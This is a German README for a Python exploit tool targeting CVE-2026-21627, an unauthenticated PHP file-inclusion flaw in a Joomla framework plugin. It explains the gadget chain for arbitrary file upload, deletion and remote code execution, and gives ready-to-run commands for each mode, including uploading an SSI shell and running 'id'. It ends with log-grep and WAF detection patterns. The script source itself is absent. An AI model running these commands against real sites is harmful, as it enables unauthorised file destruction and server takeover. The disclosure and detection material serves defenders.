
Python-Exploit für CVE-2026-21627, eine nicht authentifizierte, beliebige PHP-Dateieinbindung im Novarain Framework von Joomla, die Datei-Upload, -Löschung und RCE ermöglicht.
Nicht authentifizierte beliebige Dateieinbindung im Novarain Framework von Joomla (nrframework)
Eine kritische Schwachstelle im Tassos/Novarain Framework (plg_system_nrframework) Joomla-Plugin ermöglicht es nicht authentifizierten Angreifern, beliebige PHP-Dateien auf dem Server einzubinden, beliebige Klassen zu instanziieren und mit integrierten Gadget-Klassen zu verketten, um beliebige Datei-Uploads und beliebige Datei-Löschungen zu erreichen – alles ohne Authentifizierung.
| CVE-ID | CVE-2026-21627 |
| CVSS-Score | 9.5 (Kritisch) |
| Plugin | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| Betroffene Versionen | 4.10.14 bis 6.0.37 |
| Behoben in | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
Das nrframework-Plugin ist in mehreren beliebten Joomla-Erweiterungen von Tassos.gr enthalten, darunter Convert Forms, Engage Box, Google Structured Data und weitere.
Die Methode ajaxTaskInclude() in nrframework.php ist über das Array $non_admin_tasks explizit für den Frontend-Zugriff (nicht-Admin) freigeschaltet. Sie akzeptiert drei benutzergesteuerte Parameter:
path – verwendet den RAW-Eingabefilter (keine Bereinigung, Pfad-Traversal möglich)file – verwendet den standardmäßigen Joomla-Eingabefilterclass – Klassenname, der nach der Einbindung instanziiert werden sollDer verkettete Pfad $path . $file . '.php' wird direkt an @include_once übergeben, was eine beliebige PHP-Dateieinbindung ermöglicht. Nach der Einbindung wird die angegebene Klasse instanziiert und ihre Methode onAJAX() mit benutzergesteuerten Parametern aufgerufen.
| Primitive | Gadget | Schweregrad | Beschreibung |
|---|---|---|---|
| Dateieinbindung | ajaxTaskInclude() | Kritisch | Beliebiges Einbinden von .php-Dateien auf dem Server |
| Dateilöschung | JFormFieldNRInlineFileUpload::onRemove() | Kritisch | unlink() ohne Pfadvalidierung – löscht jede Datei, die vom Webserver beschreibbar ist |
| Datei-Upload | JFormFieldNRInlineFileUpload::onUpload() | Hoch | Hochladen von Textdateien in jedes beschreibbare, webbasierte Verzeichnis |
| Pfad-Offenlegung | Upload-Antwort | Mittel | Vollständiger Dateisystempfad wird in der JSON-Antwort preisgegeben |
python3 cve_2026_21627.py --target <URL> --mode <MODUS> [OPTIONEN]
| Modus | Beschreibung | Risiko |
|---|---|---|
verify | Bestätigen, dass die Schwachstelle existiert | Sicher / Nur lesend |
upload | Hochladen einer Datei in ein kontrolliertes Verzeichnis | Mittel |
delete | Löschen einer beliebigen Datei auf dem Server | Destruktiv |
rce | Versuch einer vollständigen RCE-Kette (Upload + Ausführung) | Hoch |
info | Einbinden einer beliebigen PHP-Datei zur Aufklärung | Mittel |
Schwachstelle verifizieren:
python3 cve_2026_21627.py --target https://example.com --mode verify
Proof-of-Concept-Datei hochladen:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
SSI-Shell hochladen (erfordert Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
RCE-Kette versuchen:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
Eine Datei löschen (destruktiv):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t Ziel-URL (erforderlich)
--mode, -m Exploit-Modus: verify|upload|delete|rce|info (erforderlich)
--sef-prefix Joomla-SEF-URL-Präfix (Standard: /it/)
--delay Verzögerung zwischen Anfragen in Sekunden (Standard: 2.5)
--proxy HTTP-Proxy (z. B. http://127.0.0.1:8080)
--no-ssl-verify SSL-Zertifikatsprüfung deaktivieren
Upload-Modus:
--shell-type Dateityp: shtml|csv|txt|html (Standard: shtml)
--upload-dir Upload-Verzeichnis relativ zu JPATH_ROOT (Standard: images)
--custom-content Benutzerdefinierter Dateiinhalt zum Hochladen
Delete-Modus:
--file-path Vollständiger Serverpfad der zu löschenden Datei
RCE-Modus:
--cmd Auszuführender Befehl (Standard: id)
Info-Modus:
--php-path PHP-Dateipfad relativ zu JPATH_SITE
--php-file PHP-Dateiname ohne .php-Erweiterung
--php-class Zu instanziierende PHP-Klasse
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Angreifer │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX-Router) │ │ │
│ task=include │ │ include ist in │ │ path = RAW-Eingabe │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (keine Auth nötig)│ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (Gadget-Klasse) │
│ │
│ onAjax() ──> onUpload() [SCHREIBEN]│
│ ──> onRemove() [LÖSCHEN] │
└─────────────────────────────────────┘
include wird mit einem kontrollierten path aufgerufen (RAW-Filter = keine Bereinigung), der auf die Gadget-Datei zeigt.JFormFieldNRInlineFileUpload bietet onUpload() für Datei-Schreibvorgänge und onRemove() für Datei-Löschungen, beide mit unzureichender Eingabevalidierung.requests-Bibliothekpip install requests
Überwachen Sie Zugriffsprotokolle auf Exploit-Versuche:
# Apache/Nginx-Protokollmuster
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF-Regel – Blockieren Sie Anfragen, die Folgendem entsprechen:
option=com_ajax.*plugin=nrframework.*task=include.*path=
Audit nach Kompromittierung:
images/ und andere beschreibbare Verzeichnisse auf unerwartete Dateienconfiguration.php und .htaccess@include_once-WarnungenajaxTaskInclude() vollständig und ersetzt es durch ein striktes Handler-Registry (AjaxHandlerRegistry)| Datum | Ereignis |
|---|---|
| 2026-02 | Schwachstelle während eines autorisierten Penetrationstests entdeckt |
| 2026-02 | Exploit erstellt |
| 2026-02 | Öffentliche Offenlegung |